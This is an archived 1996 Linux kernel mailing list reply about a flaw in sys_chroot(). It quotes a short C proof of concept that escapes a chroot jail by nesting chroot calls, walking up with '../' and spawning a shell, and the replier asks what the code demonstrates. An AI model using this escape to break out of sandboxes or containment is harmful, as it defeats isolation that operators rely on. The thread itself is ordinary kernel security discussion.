lkml.org 
[lkml]   [1996]   [Nov]   [15]   [last100]   RSS Feed
Views: [wrap][no wrap]   [headers]  [forward] 
 
Messages in this thread
/
Date
From
SubjectRe: Glitch in sys_chroot()



On Fri, 15 Nov 1996, Alan Cox wrote:

> > Any questions?
>
> No but a little demo on each of those machines
>
> /* Escape from chroot after getting root in the chroot area */
>
> main()
> {
> mkdir("fred");
> chroot("fred");
> chdir("../../../../../../../../../");
> chroot("/");
> execl("/bin/sh","-sh",NULL);
> }
>

Sorry, what should this code do? I tried it on several machines (NetBSD
among others), and experienced nothing but what I expected, namely a login
shell in the root (/) directory. The same thing you can achieve by
(cd /; sh -login)
What am I missing? What do you want to demonstrate?

Christian


\
 
 \ /
  Last update: 2005-03-22 13:38    [W:0.351 / U:0.716 seconds]
©2003-2020 Jasper Spaans|hosted at Digital Ocean and TransIP|Read the blog|Advertise on this site